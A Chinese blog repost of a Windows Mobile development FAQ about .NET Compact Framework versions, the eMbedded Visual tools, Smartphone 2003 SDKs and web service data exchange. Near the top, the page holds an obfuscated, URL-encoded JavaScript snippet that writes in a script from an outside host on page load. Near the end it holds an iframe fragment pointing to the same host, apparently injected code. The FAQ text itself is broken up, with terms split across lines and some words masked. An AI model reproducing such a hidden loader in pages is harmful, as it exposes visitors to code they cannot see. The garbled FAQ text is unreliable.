Windows Mobile 开发常见问题集(四) (转载)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Windows Mobile 开发常见问题集(四) (转载)




http://www.winbile.net/BBS/1000079/ShowPost.aspx
1、
Q
:在
Smartphone 2003
上可以使用
.NET Compact Framework
的哪一个版本?
A

Smartphone 2003
允许开发人员使用
.NET Compact Framework 1.0 Service Pack 1
进行编码。
.NET Compact Framework
可以放在
Smartphone 2003

ROM
中。
.NET Compact Framework 1.0 Service Pack 2
放在
Smartphone 2003 Second Edition

ROM
中。
 
2、
Q
:什么是示例
Smartphone 2002
设备和
Smartphone 2003
设备?
A
:原始的
Orange SPV

Orange SPV e100
运行
Windows Mobile 2002

Orange

AT&T
上的
MPX200
都是基于
Windows Mobile 2002

Smartphone

Orange SPV e200
运行
Windows Mobile 2003

 
3、
Q

MFC

ATL
可用于
Smartphone 2003
开发吗?
A

MFC
不可用于
Smartphone 2003
。可以使用
ATL 4.0
进行
Smartphone 2003
开发。有关
ATL 4.0
的更多信息,请参阅
SDK
文档。
 
4、
Q
:从哪里可以找到更多有关
Smartphone
应用程序安全模型的信息?
A
:为了帮助开发人员了解基于
Windows Mobile

Smartphone
应用程序安全模型,我们创作了一本白皮书。请参见
http

//msdn.microsoft.com/library/en-us/dnsmtphn2k3/html/smartphone_security.asp

 
5、
Q
:可以使用
eMbedded Visual Basic 3.0
来构建
Smartphone 2003
应用程序吗?
A
:不可以,不支持以
Smartphone 2003
为目标的
eVB
开发。如果您希望利用
Visual Basic
的开发技巧,可以考虑使用
Visual Basic .NET
并以
.NET Compact Framework
为目标。
 
6、
Q
:什么是
Microsoft eMbedded Visual Tools 3.0

A

eMbedded Visual Tools 3.0
是一种集成开发环境(
IDE
),用来为基于
Microsoft Windows CE
操作系统的
32
位设备编写软件应用程序。其中包括完整版的
Microsoft eMbedded Visual C++ 3.0
语言、
Microsoft eMbedded Visual Basic 3.0
语言、特定于平台的
SDK
、远程工具和文档。
 
7、
Q

eMbedded Visual Tools 3.0
支持哪些设备平台?
A

eMbedded Visual Tools 3.0 - 2002 Edition
附带于
Pocket PC 2000

Pocket PC 2002

Smartphone 2002

SDK
,并支持开发自定义的
Windows CE 3.0
设备应用程序。注:
Pocket PC 2002 SDK
可以与
eMbedded Visual Basic 3.0

eMbedded Visual C++ 3.0
一起使用,但是
Smartphone 2002 SDK
却只受
eMbedded Visual C++ 3.0
支持。
 
8、
Q
:什么是
eMbedded Visual C++ 4.0

A

eMbedded Visual C++ 4.0
是一种强大的开发工具,在为下一代基于
Windows CE
的设备(包括
Pocket PC 2003

Smartphone 2003
)构建本机代码应用程序时可以为企业提供相当大的好处。这种独立的集成开发环境(
IDE
)带来了新水平的
Windows CE
开发效率,但却没有牺牲灵活性、性能或控制能力。要使用
eMbedded Visual C++
工具构建
Pocket PC 2003

Smartphone 2003
应用程序,还需要安装
eMbedded Visual C++ 4.0 Service Pack 3

Pocket PC 2003
以及
Smartphone 2003 SDK

 
9、
Q
:我可以使用
eMbedded Visual C++ 4.0
开发
Pocket PC

Smartphone
应用程序吗?
A
:可以使用带有
Service Pack 2

eMbedded Visual C++ 4.0
来开发包括
Windows Mobile 2003 Second Edition
在内的
Pocket PC 2003

Smartphone 2003
应用程序。也可以用它来开发
Pocket PC 2002

Smartphone 2002
应用程序。
 
10、
Q
:我可以使用
Windows CE Standard SDK
开发
Pocket PC

Smartphone
应用程序吗?
A

Windows CE SDK
提供了一个通用的功能子集,使得编写的应用程序能够符合
Standard SDK
,以便运行在基于自定义显示的
Windows CE .NET
平台上。为了构建
Pocket PC

Smartphone
智能设备应用程序来利用这些平台提供的丰富的设备功能集,需要使用特定于设备的
SDK

 
11、
Q

eMbedded Visual Tools 3.0

Visual Studio .NET
之间有什么不同?
A

eMbedded Visual Tools 3.0
是一种专门针对移动与嵌入式技术开发人员的独立开发环境。对于
Pocket PC

Smartphone
,都可以利用
eMbedded Visual Tools
和适当的平台
SDK
来构建丰富的“本机代码”客户端应用程序。
Visual Studio .NET

Microsoft
的最流行桌面开发工具的最新版本。可以使用
Visual Studio .NET 2003
来构建基于
.NET Compact Framework

Pocket PC
智能客户端应用程序。同时,还可以使用
Visual Studio .NET

ASP.NET
移动控件构建以各种设备(包括
Pocket PC

Smartphone
类别的设备)为目标的基于浏览器的应用程序。
 
12、
Q
:为什么没有将
eMbedded Visual C++
集成到
Visual Studio .NET
中?
A
:根据客户的反馈,我们最初的工作主要集中于使
Visual Basic .NET
开发人员能够更轻松地对设备进行编程。但是,利用本机代码(
C++
)创建设备应用程序的功能将会集成到
Visual Studio
的下一个版本中。
 
13、
Q
:什么是
.NET Compact Framework

A

.NET Compact Framework

.NET Framework
的子集,设计为能运行在资源受限的设备上,以便为托管代码和
XML Web
服务提供支持。
.NET Compact Framework
大大降低了编写运行在诸如
Pocket PC
设备上的应用程序和服务的开发成本。由于
.NET Compact Framework
是开发人员用来编写桌面和服务器应用程序的
.NET Framework
的一个子集,所以他们已经具备了编写
Pocket PC

Smartphone 2003
设备应用程序所必需的全部技巧。
 
14、
Q
:使用
.NET Compact Framework
的主要好处是什么?
A
:目前编写设备应用程序的一个最大障碍在于,大多数设备都要求开发人员了解不同的
API
和使用不同的编程工具(与用于桌面应用程序相比)。由于
.NET Compact Framework
使用的
.NET Framework
编程模型和
Visual Studio .NET
开发工具与开发人员已经在桌面和服务器上使用的相同,所以它可以大大降低开发设备应用程序的成本,并提高开发人员的工作效率。而这些好处又能够使企业以新的方式使用智能设备,从而改进他们的业务。
.NET Compact Framework
也是唯一带有
XML Web
服务本机支持的移动开发平台。
 
15、
Q
:什么设备可以运行
.NET Compact Framework

A

NET Compact Framework 1.0
可以用作
Pocket PC 2000

Pocket PC 2002
设备(包括
Phone Edition
)的
RAM
安装,并且可以放在
Pocket PC 2003

ROM
中。
Smartphone 2003
设备包含
.NET Compact Framework 1.0 Service Pack 1
。所有的
Windows Mobile 2003 Second Edition
设备均包含
.NET Compact Framework 1.0 Service Pack 2

 
16、
Q
:何时可以使用
.NET Compact Framework

A

.NET Compact Framework

1.0
版可以作为
Visual Studio .NET 2003
版本的一部分使用。有关更多信息,请参阅
Device Development

 
17、
Q

.NET Compact Framework
可以运行所有的
.NET
语言吗?
A
:最初,
.NET Compact Framework
可以运行
Visual C#

Visual Basic
。只要其他
.NET
语言符合
.NET Compact Framework
支持的公共语言运行库子集,它们就可以运行。
 
18、
Q

.NET Compact Framework
应用程序和
eMbedded Visual C++
应用程序的执行情况一样吗?
A
:在大多数情况下,用
eMbedded Visual C++
编写的应用程序的运行速度比用
Visual Basic .NET

Visual C# .NET
编写的应用程序快。但是,对于应用程序计算密集的部分,开发人员将会看到他们的
Visual Basic .NET
应用程序比他们的
eMbedded Visual Basic
应用程序有实质性的改善。
 
19、
Q

.NET Compact Framework

ASP.NET
移动控件之间有什么不同?
A
:对设备进行编程有两种不同的方法。一种方法是将应用程序放置在智能设备上。另一种方法是将代码放置在服务器上,并通过浏览器呈现用户界面。
.NET Compact Framework
支持前者,而
ASP.NET
移动控件(以前称为
Microsoft Mobile Internet
工具包)则支持后者。使用设备上的代码构建移动应用程序使应用程序在没有
Internet
连接的情况下可以继续工作。直接在设备上运行的应用程序还支持更丰富的用户界面,以及与操作系统上的可用资产(例如多媒体和其他的应用程序)进行集成的可能性。可以使用
.NET Compact Framework
将高效模型用于构建智能设备应用程序。构建代码位于服务器的移动应用程序也有其优点。在必须使用
Internet
支持的各种移动设备时,这种体系结构非常有用。这些应用程序也不受资源的限制,因为它们作为桌面
Web
应用程序运行在相同的服务器上。在
Visual Studio .NET
中使用
ASP.NET
移动控件可以完成这些应用程序的编写。
 
20、
Q

Visual Studio .NET 2003

Visual Studio 2005
开发的
Mobile
在部署(方法和平台)上面有什么具体的不同?
A
:从
Visual Studio 2005 beta
版的情况来看,和
Visual Studio .NET 2003
的部署过程是相同的。在开发方面,
Visual Studio 2005
直接提供了
Skin
功能,可以使开发者在设计界面时能够更加直观。并且在调试时,其调试环境不再是在模拟器环境当中,而直接使用本地计算机的资源,调试速度更快。
 
21、
Q
:我想使用
GPS
采集数据,然后将数据实时显示在客户机屏幕上,采用什么连接方式比较好?
A
:数据连接的方式主要取决于
GPS
的类型。目前
GPS
接收器有两种方式,串口或
USB
连接和蓝牙连接。如果是串口和
USB
连接,你可以使用
CreateFile
或者
OpenNETCF
中的串口类进行操作;而蓝牙设备,就需要使用
Windows CE

Bluetooth API
了。
 
22、
Q
:怎样生成一个像
PC

Setup
一样的安装程序在
Pocket PC
上来完成安装工作?
A

Windows Mobile
设备的标准安装文件是
CAB
格式的。您可以在
Visual Studio.NET
中选择“生成
CAB
文件”,或者直接使用命令行工具
cabwiz
生成
CAB
文件。
 
23、
Q
:用
Windows Mobile
把一个
XML
传入
Web Service
,处理后返回一个
XML
。传入的
XML
可有多种形式,请问共有哪几种写法?他们有什么区别?例子:
1.public XmlDo***ent GetXml(XmlDo***ent xmlfile);2.public XmlElement GetXml(XmlElement xmlfile)...
返回的
XML
其实是个
SOAP
消息,如何去掉
SOAP

A

1
)建议传递参数直接传递
XML
格式的字符串而不要传递对象。
2

Web Service
传递的信息中必定有
SOAP
消息,如果只想传递
XML
实体内容的话,建议通过
Http
请求直接
POST
数据,然后返回订制好的
XML
格式的实体数据。
 
24、
Q

XML
数据内容的安全性如何?与
SQL CE
相比哪个效率更高些呢?
A

1

XML
的数据内容本质上就是纯文本,没有安全性可言。要实现安全性,您可以通过一些别的加密手段对内容进行加密。
2
)相比来说,在处理大数据量的时候
SQL CE
的处理速度要比直接处理
XML
快一些。
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值